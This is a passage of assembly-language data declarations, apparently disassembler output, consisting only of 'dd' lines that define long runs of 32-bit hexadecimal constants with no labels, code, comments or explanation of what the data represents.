dd 5268156Ah, 2F9CA164h, 9BD0C71Ah, 0E00EFD4Ch, 3A2047C7h
dd 6D0646D6h, 0BFDE64E9h, 1D05577Ch, 0E0C15805h, 0EE32920Ah
dd 0AF85E5A7h, 0A2FD2E4h, 0AD6FF905h, 77B188D4h, 8D3CBDE9h
dd 835B6627h, 210F042h, 5C68BEE9h, 34B8B5Dh, 7A917FC0h
dd 30765EDCh, 1ABB5330h, 79C86A1Fh, 697BF300h, 63D1289Fh
dd 785C10EBh, 0C0561B3h, 7C349C3Ah, 171FD080h, 29681A44h
dd 80950DDh, 4B070AF8h, 0D149D911h, 8BF205DBh, 6534BDB4h
dd 0BC290CC7h, 87E94A41h, 1280645Eh, 84B9A2D3h, 0A0146018h
dd 1288FD10h, 2B014E59h, 0F0570DB8h, 98CE847Eh, 0E972548Ah
dd 8BA8BF4Bh, 0D1EEB92h, 36C2A4D2h, 59982B5h, 8BC5FD91h
dd 0D047EA14h, 5FD21B46h, 43EBB52Fh, 4F295B4Eh, 93401E7Eh
dd 573DDE66h, 0AD87C251h, 4A35B980h, 2962745Ch, 627A8Bh
dd 8A3B450h, 16D0E348h, 6EE49419h, 2BF0757h, 0D20AAB36h
dd 0F04C8BAEh, 288F8BEFh, 0A18B5DF8h, 4C3EF76h, 0E3D8F271h
dd 0E90B16CBh, 16ECF912h, 748F14C6h, 0C9A7F25Fh, 0B85460ABh
dd 2D15C030h, 763D6AEEh, 469FDA90h, 0F92976Ch, 0C3407662h
dd 0B080CC21h, 0C728194Fh, 305BB658h, 81A051E9h, 0E17C8819h
dd 38B92C39h, 2AF94AC4h, 0E9F00C61h, 0BB113435h, 3109D100h
dd 4FEB8145h, 62EE0B18h, 0F2197E9h, 0CD68D001h, 0D5302B05h
dd 3AD71FCh, 12F58152h, 0C4DC901Bh, 0A58BBB8Dh, 92685301h
dd 201A2217h, 0DD0CF36Eh, 0C6C8725h, 0A532064Fh, 31B95176h
dd 0C15B3490h, 0B52D138Ch, 419D4BD2h, 0A435A9E3h, 0BE5EB0D4h
dd 1AC272C9h, 2CE1B961h, 0A5F387F6h, 0F7C176A2h, 0E8BD58A5h
dd 545313F6h, 0EAA542B9h, 6D3BCA2Dh, 97103AECh, 0D966A24Ah
dd 0BD521AC4h, 0A7A2BE80h, 894E8F1Dh, 0DEC471FDh, 0DD0105F9h
dd 7CD28A1Eh, 352717ACh, 9ADC7BC2h, 0E76A4052h, 0D31D05E2h
dd 0A827E917h, 675C2711h, 0FCB40C79h, 0A709F38Bh, 5667699h
dd 0FD88DD9Eh, 9EB73D53h, 0BB09F316h, 5D2B6C77h, 8E636D92h
dd 0DBBB3403h, 0D1424640h, 0E524B684h, 0B151285Ah, 99E380F4h
dd 10BA80A3h, 0D3218BC5h, 4E37FA88h, 0BB922095h, 0A1625CE5h
dd 0E6C7BFAEh, 535232E0h, 0A5C1F756h, 81B3819Ch, 9B0F70CDh
dd 40D7F970h, 0AE4AB6B4h, 0E884A9FCh, 0D31E1C9Ah, 3936F025h
dd 0F394ADE3h, 0E90B8F1Ah, 9F11F077h, 0A398883Ch, 271B266Fh
dd 0E926AD16h, 0D7A60616h, 583BD67Ah, 1497F66Ah, 0BCE886B5h
dd 0C0E9E101h, 2EE435E5h, 9B7A5CD1h, 0FA606A0Dh, 4B8B706Bh
dd 2DAED53h, 79E9595Eh, 7035D20Fh, 25FE27D1h, 84BF9D7Ch
dd 8DF8B1CCh, 0C6705D49h, 93B60F2Ch, 892B0908h, 0C5DA155Bh
dd 5613EF9Bh, 0C622FAC0h, 0B2E9145Eh, 68C7E8C8h, 0F8432C69h
dd 0B898015Fh, 927C412Fh, 94B75CE8h, 0C16474Ch, 62D8451Bh
dd 0C6A4F826h, 1339559h, 0CFF26CEEh, 8CF3296Bh, 59E27C84h
dd 0C61C8494h, 124542D6h, 88B8FE29h, 1C60690Bh, 2AE9C300h
dd 8FBD6DAAh, 34C23C96h, 60207465h, 6103D67Dh, 0E9EE3A06h
dd 5ACE2886h, 0F4B106B8h, 1D443AC4h, 0ECA874E1h, 563AFC4h
dd 41AFD7F7h, 0AB0BED55h, 0DAC54099h, 50177708h, 8010F901h
dd 74FF7D08h, 2BFF66EEh, 94041D88h, 0EC880EC1h, 8402E24Bh
dd 0C0C61EEh, 4EFC4F2Dh, 0D34E80A4h, 63EC766h, 2530872Ch
dd 78BAE909h, 0A35C5E53h, 721A26B3h, 6BDEDBAFh, 0F0A11547h
dd 249C5888h, 9F7425B2h, 74253FA6h, 315889ABh, 0C3E2440Bh
dd 81000356h, 0B27684F1h, 0BAE29F59h, 5F19B571h, 0E863E7B0h
dd 8402B84Eh, 8C145B9Fh, 8CACF84Eh, 4801DF18h, 585E54D3h
dd 719786F6h, 7C3E662Dh, 2408A041h, 807685E9h, 0FE58C220h
dd 0EA1680CAh, 0A1E530E8h, 0B8E1D22Fh, 943C925Eh, 2DC634CAh
dd 0B35511C6h, 8885116Eh, 5F028E4Bh, 4951F868h, 68869810h
dd 0E0FC2D5Fh, 8E9B7E4Ah, 928E90Bh, 10A8287Bh, 0F9EA88A4h
dd 0D030E12h, 112D0B80h, 89FD0B9Ah, 0D6EB8BF1h, 8E568334h
dd 40D209B1h, 0BDC199B1h, 0BB398814h, 7CD78590h, 0FD84E94Bh
dd 0F56AED99h, 9DB7457h, 63E86004h, 0CDEA5C01h, 5B0C0151h
dd 8883705Fh, 0B0289E40h, 1D152C27h, 62D2514Dh, 5A41724Ch
dd 6AC082EAh, 0FA2905E8h, 952E12C9h, 230BFE6Dh, 471CAB8Eh
dd 10E98423h, 16680212h, 61DDDC13h, 2E20790Eh, 54853009h
dd 64742D8Dh, 90A9857Ah, 0F9ED9929h, 7F684E65h, 5AF12E72h
dd 65CB13F3h, 0A3D0AFB2h, 0FB252FEh, 5EAC01Ch, 0F6EDF3Ch
dd 0F2E655CAh, 66900633h, 839DE72Ah, 0C3AD5B5Eh, 1970CC8Bh
dd 7CBB5ED6h, 4730E968h, 5BC9B5EEh, 7950245Eh, 154A00D0h
dd 3EE93538h, 4DD1BA5Ah, 8005785Ch, 0E67BF45Fh, 0E8C1120Ch
dd 14070605h, 11CE48E9h, 0D439EB00h, 25D8F767h, 36262E00h
dd 0FD033521h, 44B858B3h, 409BE240h, 4D9501A1h, 12922410h
dd 0C159A002h, 0DB608EA2h, 5225C4BBh, 0B680D94Fh, 4B4B4E8Ch
dd 0D94087BDh, 86D71613h, 73C4E83Bh, 9BC748h, 46735C52h
dd 0BF08A8E9h, 4721DC18h, 84731C4Ch, 6805AD86h, 8579514h
dd 56259B08h, 71782D7Ah, 396AC55h, 0A7E146B8h, 0F5803110h
dd 2D0B2A22h, 0FEF29654h, 58E6B76Bh, 594E5598h, 62F2CCD7h
dd 0C0E064DEh, 543BBF3Ch, 30B05D35h, 2097BB02h, 75F801F7h
dd 60A53F45h, 5B12E974h, 4E958F96h, 14EDE1F0h, 9830F64Ah
dd 0F82F4407h, 1284C917h, 2AF120Fh, 0B0D2DD26h, 0BC5AB985h
dd 222DC064h, 0FC3B8D08h, 70551D8h, 145055D6h, 6052C7B6h
dd 2449A7D2h, 0CA5228h, 0F2102EF3h, 5D73EB29h, 5450C327h
dd 9910F283h, 0BE9164C9h, 0FE0CF862h, 4045EB76h, 2E75017h
dd 6307E909h, 3726D75Bh, 0FB47B88h, 6173BC68h, 6967D916h
dd 82BA8455h, 1B710412h, 17A810D0h, 1390F6CBh, 1DBE56EBh
dd 0C10C115Bh, 7454E681h
dd 0F6B0CFD7h, 0E83E27BBh, 10CE025Ch, 6075087Ch, 0C0397ECh
dd 0A4E91691h, 9B09BFB9h, 0D7627E51h, 126AEA0Ah, 0EC798405h
dd 223B07BEh, 3AC6AC97h, 7A828035h, 58873031h, 0FB50E186h
dd 0D8A44062h, 7C4E06F1h, 9904CF0Ch, 0DE60E18h, 3A4F6005h
dd 4DB3C38Ah, 30F589B1h, 0E4B77FB6h, 0A251B56Bh, 0F23DA43Eh
dd 0FF5DEF42h, 5C0244BCh, 766D072Dh, 0D0827D0Bh, 667F8A6Bh
dd 13BB7905h, 0AE4F960Ch, 6DC6C27h, 52A9003h, 4C2249DAh
dd 0B2C9FB31h, 0C5F3A66Eh, 92BEB9E9h, 0E17FF3F8h, 5BE6A72Fh
dd 0EFAEBD0Fh, 35B93D4h, 0EB284AD7h, 4B62EAFh, 1D3B636h
dd 7E3363BFh, 41053568h, 0C3717A14h, 204F6661h, 0BA190B8h
dd 5EF510EEh, 19DE07B9h, 0E0811A63h, 988138Ch, 774E70EAh
dd 0C039F88Dh, 0C768A15h, 0E3815B01h, 88C24174h, 45C5936h
dd 0A34A6468h, 6A5110B1h, 0EBD5F941h, 5C05BE05h, 7F009CBEh
dd 1FF66179h, 50CA7829h, 2D8708EAh, 9595AD1h, 2D2BD40h
dd 684F0B64h, 4C6645C2h, 0C003CF03h, 41215E1Bh, 9E0185EAh
dd 28203D50h, 89582F18h, 0E60415F2h, 1B305CE2h, 80F28780h
dd 290531E5h, 6571E93Ah, 32AA03EDh, 6E568FC1h, 54BEBED5h
dd 0A32BC3F2h, 42521E9Ah, 435D319Eh, 3A076960h, 14563522h
dd 9213D668h, 8405BBD3h, 0EACC174Dh, 0B0285EB0h, 0D741B511h
dd 8B39EC66h, 3EF15A5Bh, 4C053460h, 12F9695Ch, 0DBCEECAh
dd 102768E6h, 5B455E0Ch, 317841EAh, 0B588DF9Bh, 38680C65h
dd 45B25B47h, 92B96C20h, 952BF0A0h, 0B35725C2h, 0FDA4FD2h
dd 80145940h, 494E3503h, 0C4F252A8h, 53F61DF0h, 5968660Bh
dd 41E8540Fh, 35CF885Bh, 0B4696C90h, 0A388B413h, 0FC5A4ED6h
dd 2C5CA0F9h, 0F5F8E007h, 9134F2D2h, 0DE961D1h, 940A2CA3h
dd 0F60827F5h, 18D81769h, 0D3870824h, 4C2614B8h, 4468176Ch
dd 181E54Ch, 7D1062EBh, 0E3C30114h, 58080B95h, 0A13E790h
dd 4D89AF94h, 5F9D022h, 8440C6C9h, 2DE0139h, 210E507Ah
dd 1292E8D3h, 0FCAC755Ah, 4BB02312h, 1254D5A7h, 0AC40E310h
dd 21F74109h, 0C9E57A0Eh, 4B0B447h, 5A294306h, 0B2CCE8EAh
dd 18D7DE38h, 88AD7C41h, 2125AB74h, 92518C8h, 4F7B90C2h
dd 4FD7E2D3h, 3F5F489h, 26BB5981h, 402CBF20h, 1F3D2191h
dd 0D3403174h, 27A87DF3h, 0FA64091Dh, 0B913EC0Fh, 42CBE057h
dd 27A6B0Ah, 504F6856h, 68C25984h, 5B6DA4DFh, 0CCC74282h
dd 0BC92F2A2h, 0C62E38C4h, 0D4BD42AEh, 0B8DEA80Bh, 0C2665B02h
dd 9092F74Bh, 0F68D67Eh, 0AF82622Ch, 61750E25h, 87045400h
dd 77A4DFh, 8061B551h, 231F48EDh, 0BB1EBC20h, 36895C21h
dd 8005D589h, 81EEB259h, 0EBE9CD01h, 294152D2h, 0A5EB7A30h
dd 0ED4B1955h, 29B3937Fh, 40B509FDh, 0E75D15E2h, 9BE9840Eh
dd 0EC0597DCh, 0BB9AE56Ch, 92BCB43Fh, 0ECE8C8F0h, 0A62F0893h
dd 24083526h, 0BF570166h, 3A9A7FA2h, 565C0300h, 484740C8h
dd 2B2D364Fh, 0CDB56103h, 42C1FD82h, 6767DFCh, 751063CAh
dd 58161496h, 1E109EA4h, 0CEF84AFAh, 9C183581h, 0E8BF840Dh
dd 54ECF37Bh, 868B444Eh, 885107DBh, 4BCC4FCEh, 25F374A3h
dd 0A0A93C5Dh, 0B1D177Eh, 0DA0154C5h, 0E083208h, 2E9835Bh
dd 0C42A4455h, 0FFBFD473h, 609FC08Ch, 0F9B98392h, 3648544Dh
dd 6F528CCh, 612EC20Ah, 0CA14ED1Ah, 29084080h, 595BDA17h
dd 8B5AC8B6h, 50A94B8Ch, 7D4028DAh, 61066851h, 590DEB7Bh
dd 29674C78h, 7DC19A40h, 9F08F6AEh, 0AC20AC71h, 0E604F10Fh
dd 0CE0184C7h, 3A84F0F8h, 310616BDh, 4E0858B5h, 0EB110EAFh
dd 2E3B68A2h, 20FD665Fh, 0E9135DE2h, 3421C122h, 2801601Eh
dd 0C53F4F0h, 0A5A67FE1h, 0A7A2A7Bh, 0B0809D25h, 0BA200D66h
dd 0E90B7C62h, 2C95DA12h, 12328EE7h, 0DB7F0067h, 0E94BCE15h
dd 79DE4476h, 6306D4C2h, 4F415735h, 5801C746h, 493C7698h
dd 329CD3F7h, 0B3EAA08Ah, 0F32F5250h, 7C3F37ECh, 60D1A74Fh
dd 137F2D03h, 0BB4B4A49h, 4A80CB2Ch, 8A4EFC87h, 0C601268Dh
dd 0DB544BAh, 488B4AA2h, 4D32DC89h, 0D608E612h, 2EDBF501h
dd 0E16FA522h, 4C63361Ah, 0A2E9C25Ah, 0B566D510h, 6DB02232h
dd 7D2477EDh, 4ACFAB5Bh, 49144E73h, 0F09650C8h, 11696800h
dd 875F6BC4h, 0D5F730EFh, 0FA28E908h, 0FD13AE91h, 0F5F44404h
dd 4E656802h, 609BDECh, 0F46D455Ah, 1B4C81ACh, 80E001E9h
dd 29D7C1ABh, 72F77012h, 41D924D1h, 9CE0324Bh, 55526970h
dd 0D02D7E4Fh, 9F5F1406h, 0A8BC5350h, 453AFE59h, 0FC51C66Ch
dd 5F3A9E30h, 345BEBC0h, 0F4E3E437h, 27589ECBh, 82B6C570h
dd 0E3F0808Ch, 0BE5A5CB5h, 4B6D0CDEh, 699CD299h, 1C47BF1Fh
dd 46A41A88h, 780BAB0h, 0B151E0CCh, 19C16179h, 8859E428h
dd 0C4657BB8h, 0CA00F675h, 80D4865Ah, 385E6BF4h, 6584C502h
dd 68F7187Dh, 0C94D4E7Eh, 20B525Bh, 90E36C7Dh, 0EE2027FBh
dd 2D203AEEh, 69C29F57h, 930B0E41h, 0A907661Ah, 0E1593BA2h
dd 0D56C5F85h, 0F327DBD4h, 67DF6C3Ah, 9D34AA81h, 0E9610271h
dd 0A22BED3Ch, 0BC2778ACh, 4948A993h, 102DD06h, 349D28E4h
dd 58323074h, 0DB4A08E5h, 0CBB1E18h, 0C8CB290Bh, 5C27A44Eh
dd 22AB2CBAh, 31709F51h, 2C02E581h, 50AFC447h, 4C61F616h
dd 196B24h, 1747F54Ch, 252B7C5Dh, 5FA56EDBh, 98E2A46Dh
dd 4F2B1652h, 1A5C26A9h, 85813507h, 0EA2DE55Eh, 68E98C90h
dd 0C0469D92h, 0A276DEh, 0C008F580h, 0E5D005EDh, 0F370C5F0h
dd 62E9EE09h, 0E9BDF45Fh, 614B77DEh, 2C294B4h, 84605758h
dd 0B1204697h, 14F9E61h, 875163E3h, 0F311816Fh, 91AEAA23h
dd 0CCA3B47Eh, 0A403E348h, 0C50B5BE6h, 4FA56EE9h, 0A652AA05h
dd 0FC921EAh, 0E20960C8h, 0F82A5881h, 50CA209h, 4A1E81E1h
dd 0E36800A9h, 0F2659D79h, 0A4C3E989h, 0A2AE5C18h, 39FAD3E9h
dd 0C79204A1h, 0CB13D197h, 1340224Ah, 0B89DD4E7h, 0FA23123Bh
dd 0CC931561h, 825EF63Fh, 4A8B63E9h, 513D8464h, 0E50127BBh
dd 264E278h, 884233Ah, 0A6714043h, 60092516h, 0D6E99B40h
dd 90E8A84Ah, 56AE42C4h, 0BB0164ABh, 76E06613h, 0A68A4A0Bh
dd 6E6C103Dh, 5959054Bh, 42278C55h, 0E7DCAA5Fh, 0BF27F8F5h
dd 0CBDD59EAh, 0FDE0D16Eh, 0C3015B89h, 0C05A1684h, 2D51EB1Eh
dd 16CF29F6h, 13BDAC55h, 5EE9FC01h, 0C73AF470h, 9C437C0Ah
dd 283C8C1Ch, 16B708EFh, 0AF3C40A0h, 0EA80B5A8h, 6C4CB392h
dd 3CFE975Ch, 0C12D6848h, 20B04C25h, 554AE721h, 444FD3E7h
dd 179BDBDFh, 0E94F9EA8h, 66600524h, 1CAABD61h, 0F97DF4BBh
dd 93DB1876h, 14A7F5DDh, 0EC78FB22h, 5F28D204h, 43C5EE07h
dd 25CA1DEAh, 0E9221075h, 410D4AFDh, 21616547h, 9597866h
dd 7D4911E4h, 0FE31B082h, 1F708175h, 4E94466Eh, 840BBF3h
dd 0C4C69F5Eh, 0DBE18725h, 0C5FB4246h, 4E816CD7h, 32B00CB4h
dd 0D9DD30D2h, 0B9004E90h, 0D17157Ah, 261AE181h, 838EB061h
dd 0E61001E3h, 0D9915A42h, 55D9207Ah, 0D2B145FBh, 1E526122h
dd 41EE20EBh, 0AB67A40h, 68B5512Eh, 0ED4B27AFh, 4AC23C50h
dd 3BF7109h, 1FBE201h, 0D3685908h, 6FE9D99Dh, 24B18D02h
dd 0F68CC0FDh, 0B45007D9h, 5BE480BCh, 0E687AC07h, 665AF4ECh
dd 0D9B11FACh, 545201CAh, 0B075A26Fh, 9A711CE9h, 20492F50h
dd 75954771h, 2B317D8Ah, 0BBCD2F2Ah, 60885301h, 7B94204Fh
dd 57ADBAFh, 0BE59CD29h
dd 88AF8DD4h, 0C09AC107h, 28408696h, 4D03D783h, 0E12F1829h
dd 0EFC2FEA5h, 5D0E0488h, 44D206DBh, 9E53E15h, 4F57D158h
dd 76E214E9h, 0DE40E077h, 2EFC2525h, 80EF0FCh, 0FC640BE9h
dd 6AA4C244h, 0F9BE26Eh, 0C023E909h, 1979BDBCh, 20346268h
dd 0D40BC1E4h, 9F093548h, 0F731477Ch, 31DE7106h, 0B2FD012Fh
dd 0D9ABF72Ah, 0BBC03077h, 0E6031810h, 497ECA23h, 5831DA27h
dd 7B4C0FB9h, 0E5A04E4Ah, 5DC4084Dh, 0CDC22397h, 400DC9AFh
dd 0E5452301h, 50FF789Dh, 0A891CC4Ah, 7980F4A7h, 90A27E3Ch
dd 0E4CE1DC4h, 4300AC07h, 0F1810E5Dh, 0E99D7D61h, 0A886122Fh
dd 0EBE913A0h, 84EE1DC4h, 0D029EA1Bh, 3EA5806Fh, 485FA661h
dd 0ED81A8C0h, 842913FBh, 60E2B821h, 0AF420D38h, 0A1CDF457h
dd 30550E5h, 0B652027Fh, 0E0B753E0h, 0F438E295h, 0C4800780h
dd 22798E4Eh, 8EC6E0CDh, 7F6E70BDh, 9CEE24D6h, 59E5109Dh
dd 0BA5201FFh, 47BD0248h, 5075D6Ch, 0D0DE5480h, 2743B72Dh
dd 0FFE91D17h, 565E5145h, 0FAE7359Dh, 97FB4433h, 8CE11680h
dd 164E146Fh, 660AF2B8h, 29C6D73h, 3D873EBAh, 0F2FE5E72h
dd 79DD7516h, 1A83B908h, 8F55A6F6h, 40A16B40h, 7736B873h
dd 1DA1780h, 579A09C2h, 266A3877h, 5D408207h, 95CFFBAEh
dd 412FA9F0h, 92265CE8h, 4BA6513Eh, 0A3B981E2h, 0E840FB06h
dd 93B5F347h, 508CC16Ah, 5B81F77Eh, 0E90B288Eh, 0E9536684h
dd 35124893h, 0B2D90585h, 0B4795E2Fh, 6C0FEA1Fh, 2CA984F9h
dd 3A5AD9FBh, 39E13070h, 0E95C0B61h, 0AE7C84CBh, 0CE315941h
dd 88FF1C9h, 112F387h, 60E9D3A4h, 0AC402BB1h, 5AF95CA7h
dd 245F9289h, 67946206h, 0E12E9456h, 4C982AAEh, 0B068125Dh
dd 6F8F8C52h, 0F73DE567h, 0F7077172h, 0B8F2C4E6h, 61688BA9h
dd 10B42689h, 3116A042h, 1425EFEFh, 3060A0F1h, 0FD611BD9h
dd 0BAC7121Dh, 731C3008h, 3D3CA744h, 0CF688B58h, 9F9CFD4Ah
dd 1D968D96h, 0F7CD15BBh, 4F22CB9Eh, 0E7209066h, 6BB32CBBh
dd 4A83207Ch, 0F0D3D5B9h, 0EE12818Bh, 0A21D70B4h, 32C7CE9Dh
dd 0C6C74316h, 56404552h, 7B6810B9h, 2E53F203h, 14A5492h
dd 8366460Eh, 24D6E9DDh, 56B15B70h, 2D0CF06Bh, 8854AAA9h
dd 966BE3C0h, 0B3215856h, 58DE250h, 311EFB71h, 2D2470D1h
dd 2E272F68h, 5B97E04Dh, 0B7BE8055h, 7510791Eh, 1469968Ch
dd 0C169CF5Fh, 4E7E0B4Ch, 0B58905B4h, 6953F4BAh, 0F752977Ch
dd 1FFE8309h, 0D218DC2Dh, 0AEF3C77Fh, 0A5B50C37h, 1712709Fh
dd 0A7A05411h, 0F7FB1887h, 5AE908D7h, 2D1740B6h, 7C472FBDh
dd 4BF571Ch, 807B1E5Ah, 613DE318h, 0F8014A13h, 0D5A8A285h
dd 61B2701h, 0A8A96BE9h, 0A5F0B5E1h, 5725BDB6h, 8EF46EABh
dd 82C5E658h, 0DC80B541h, 0B13B51D4h, 30F97EBBh, 6C29BBCh
dd 63CE2885h, 0B050A8CBh, 0E0C00407h, 0ABF72408h, 0E96BCE01h
dd 7581A2D1h, 41685EF2h, 5B043350h, 1D4284C9h, 0C10F0956h
dd 6F01267Fh, 2ACBDBCDh, 4ED3A2F4h, 0B48A2EAh, 8F0D4A57h
dd 0C2A2AB5Bh, 595F7E07h, 0A2B06A4Bh, 55212D68h, 0A15F6A5Ah
dd 2A7BECB7h, 0B7FAAF93h, 1209DB50h, 0FF6B1164h, 0C4A188h
dd 26234948h, 4C5E44E9h, 749AFF7h, 36072860h, 0FDF221AFh
dd 0AE824690h, 3ADCF160h, 0FE0A7D25h, 3B760E4Ch, 0F20116EBh
dd 2BE834E9h, 71C0EBD2h, 0E5E96419h, 0DC282F39h, 0A3FE4A95h
dd 0BA2579FAh, 0F4626AC1h, 421CC8BFh, 0DB71ADEEh, 0DE8F062Dh
dd 0A9314A3Bh, 0D4AAD240h, 1DBE80A9h, 2D023E42h, 0F7E8D148h
dd 3E5CD0h, 9833C025h, 0C4093552h, 75029001h, 0B182E11Ah
dd 0B579FBFh, 44C5E5Fh, 0EF5BDE89h, 8C38E31h, 6F10367Dh
dd 0D83012B3h, 5E95CBBAh, 2A490A8h, 6CB4E936h, 2A95A0DDh
dd 99694FD0h, 0C709E432h, 0E7FC942Dh, 0EEF150BFh, 11615B16h
dd 4524E0F8h, 0E2B11259h, 124A78E5h, 0EA5B574Fh, 8085CA56h
dd 31C2E7F2h, 8CF08EAh, 0BB019406h, 40D3239Eh, 0AF3BC30h
dd 153A0AF6h, 0E3E98488h, 0DE09A8B4h, 0A0730A49h, 0C0B0B666h
dd 80020FE6h, 32C442CEh, 0A6CCAB5Fh, 83D16EEBh, 0ACDA4EA9h
dd 0DDE58EAh, 0C28CD3D9h, 0CC875A02h, 1B61823Fh, 0C5C91055h
dd 0F275EE5Eh, 98E7FDEFh, 0B7878896h, 72FE05C0h, 0C619C37h
dd 2D041941h, 8EA503Fh, 4D2D0948h, 0BE290F46h, 0C51C86A7h
dd 0BDC1F32Fh, 0E9AE1A98h, 682FE289h, 67A7744Ch, 62079150h
dd 945FEEDEh, 3353506h, 4B69E81Dh, 0E9A92CBAh, 21CE1F2Fh
dd 4151675Bh, 12A2B03Eh, 0F5B12F16h, 3EED2917h, 613DCE16h
dd 2FBD4FAh, 18B27F21h, 1BAA4FF7h, 0F6160C83h, 2BAC5D35h
dd 4A73F2C0h, 12D061B4h, 55F61081h, 66AC2C0Bh, 21674D9h
dd 0E9F00EE1h, 0ACFE58F9h, 6BA302D3h, 12583716h, 201DC976h
dd 0D041810Dh, 837FD869h, 7ADE931h, 8BAFE5D9h, 44B3E291h
dd 4267BFDh, 0D13006B2h, 2A03AE5Ah, 0CBE2B551h, 2183B4EBh
dd 0FCB1E4DEh, 81048CC5h, 5D3BDECh, 2B3599BAh, 0AE806462h
dd 4638A6F1h, 1F99F0Ah, 0A896C742h, 0E612D470h, 0C45E66BCh
dd 64D48059h, 324B9945h, 0DAFBEE1h, 0BB9D0C72h, 0E9564A01h
dd 5F5CC99Eh, 45F4AAA3h, 0B70EC348h, 4CC53FF2h, 2AEC80C6h
dd 0FCC925E5h, 0E92D83D0h, 52B85D0h, 17CC94EEh, 0DD40AACAh
dd 1E9D029h, 5CE8B7B0h, 745D1E68h, 0F9FC8BF0h, 75B9809Dh
dd 0BF045D3Eh, 7A05A179h, 0E8B1E974h, 0B092FFA8h, 3C1F5E05h
dd 49D23334h, 0A46B9DB1h, 0AD69E7Bh, 0A51437EFh, 8831B06Ah
dd 772CC377h, 1E42C3CEh, 6D640FE1h, 3A84C945h, 6D6197E5h
dd 0C770407Ah, 8688CCE8h, 0BBD36997h, 743A7BADh, 0EBA4A609h
dd 1F4DBC5Ah, 0DEEF8B53h, 90C85432h, 0C82538C9h, 0BDF39C5Fh
dd 0E9066ED3h, 4C34DAB3h, 6701DC53h, 4D73576Ah, 417CC645h
dd 9350B511h, 486D1F85h, 0C4AA1332h, 0BF728552h, 0CA42A0CBh
dd 4A342101h, 3A86E966h, 8AEA2612h, 0CB410Bh, 1F0556FFh
dd 27EC4748h, 25B5C06h, 2D4F75E9h, 0E3482DFEh, 0D8494E82h
dd 830FF759h, 0A80A044Ah, 0B84C402Fh, 0C0356613h, 8E0308EFh
dd 0A9B2D01h, 0F3B55A5h, 0A4CB56FEh, 0C34FEFFAh, 0E98294B2h
dd 0E755583Ch, 0E26809A4h, 106B897Fh, 0B1ACC0D9h, 0F829096Eh
dd 0EF933404h, 71F20131h, 0EA16BB05h, 2D68C62Ch, 1EF679B8h
dd 0D9C7F5Ah, 732DF2B9h, 0E9D21281h, 441C10CEh, 0D3C1E65Bh
dd 4C5A9FCh, 0ADDDAB44h, 0B99B210h, 91155B68h, 6E3D313Eh
dd 52E95D60h, 0AF96B959h, 3A85CF81h, 363B11FEh, 0B2EFB989h
dd 0E040D011h, 0C9CF43C8h, 0E6FCE5C2h, 4A9B8EAAh, 57F69FC5h
dd 0F44910h, 0C21DAA05h, 772522h, 35780364h, 516F4652h
dd 4AF5D0B7h, 9E4EA891h, 0D75FFA4Bh, 0EA9A6593h, 281EC9F3h
dd 53CBF42Fh, 39FED5D2h, 73178C9Eh, 823F71A5h, 49DFC191h
dd 8AFF01ECh, 88D16807h, 325B73DAh, 0F51A8754h, 60F1E750h
dd 5082D12Ch, 36C167F6h, 93ADC253h, 0EB923D5Ch, 876021BFh
dd 998C7BBBh, 4DB9649Fh, 0C418FD5Bh, 1582505Eh, 430209F7h
dd 6B47A669h, 292524BFh, 0C1685382h, 0BEBE9905h, 58420E30h
dd 9A06247Fh, 0C66B173h, 0F302DF00h, 0BB535619h, 4F127CBEh
dd 60ECD01Eh, 6E13022Fh, 34EB5C29h, 5B0C0B3Ah, 1C096A62h
dd 6DE6B202h, 9DDF703h, 283F97D0h, 0AF150557h, 88507D41h
dd 0E3CD53DCh, 8B99853Ah, 31BA4176h, 60ACF13Eh, 2997EFC1h
dd 0A64A74FAh, 9D0908CEh
dd 89EF2909h, 0E7255FDDh, 3344AA5Dh, 69EF4B66h, 99A680DEh
dd 4E063959h, 2DB80B50h, 35507747h, 5060860h, 0F0DD0F7h
dd 3C6B37B9h, 0C3A0CE0Eh, 915F2D59h, 33B6FC73h, 5E09CF26h
dd 62EDD956h, 1551EA1Dh, 274F0788h, 5904FE71h, 98BECE01h
dd 0E760899Dh, 0A5602F96h, 5BE97A62h, 0E236D3DAh, 34D2D593h
dd 4DB38E48h, 0BA3E6097h, 90129FAEh, 0D85D1762h, 0AF08411h
dd 25F67C85h, 37D040ECh, 89A03E56h, 0A3062CDh, 89081D20h
dd 296B3723h, 7E59803Dh, 74F20D58h, 8AE910C6h, 6E575CF1h
dd 0B56C4325h, 2DEE71BDh, 5A54A182h, 687C58C1h, 68D8D6E6h
dd 0B3645F4Fh, 7D4110E9h, 622C5A0Fh, 0D80EC54Eh, 783BDDh
dd 0B353515Bh, 303CB160h, 0E1E9D909h, 5D3A1AEDh, 25279CCCh
dd 3CE8F2F5h, 61878107h, 6035BC45h, 920F67F1h, 132FCA7Eh
dd 9F625B6Ah, 0E26626F7h, 99575788h, 8104D358h, 3E4137CDh
dd 5CEA9035h, 6034929Ch, 533BEAD2h, 7704D48h, 375C41CAh
dd 22ABE660h, 0D80848ECh, 0BF17CD05h, 46E7003Fh, 0F77BAE10h
dd 64DD530h, 0B0B0ED81h, 0E9BA18C7h, 8058B916h, 28DAEB0Ah
dd 66C281D8h, 46856152h, 0E796483Ch, 0E5267D2Fh, 5E52A5D5h
dd 15E9627Eh, 0C29468FDh, 0DD47C940h, 925E79C3h, 5E189AEDh
dd 0E11B3387h, 7CEB8282h, 5FED2182h, 0EC65C108h, 0CABDDC2Ah
dd 0E4F3C1CBh, 5E00B62Ah, 0ABDA70C3h, 0C92E7DD7h, 0AED84F79h
dd 90FC7920h, 0F489553Ch, 500BF92Ah, 53125233h, 7601156Fh
dd 1F112DC8h, 0E933BD41h, 0D57ED531h, 0E901BBB9h, 2EEC16FBh
dd 88FEF021h, 0E90520BFh, 9CEA756Ah, 0F4F85DB0h, 0C0169865h
dd 0E2808EC0h, 4FC2E6A2h, 0ECB8F11Bh, 58F6302Eh, 4DAF639h
dd 0F13AE9D2h, 648158ECh, 0F03DE74Dh, 0AFBFD45Ch, 0E5CFA039h
dd 0C0481E6Dh, 0A8BDC711h, 0FABD2761h, 319B60D7h, 7754702Dh
dd 440013Bh, 0DAF0038Dh, 442A59F1h, 0A9523168h, 0DF29C7D6h
dd 9DAA6ADFh, 0B137681h, 0F82A3152h, 4572050Eh, 4BB1283h
dd 10DEC166h, 0C66C2F99h, 0BC249102h, 0AA92324Dh, 0A812E534h
dd 0EF954627h, 6ADA08h, 0C5FE35B5h, 0FB7F6866h, 523C48BFh
dd 802E0CB2h, 87067AF2h, 24058849h, 53422D75h, 0DBC67FF7h
dd 0FC07F102h, 0C151015Ch, 403C5A1Ch, 0D655B34Bh, 0E9820EF8h
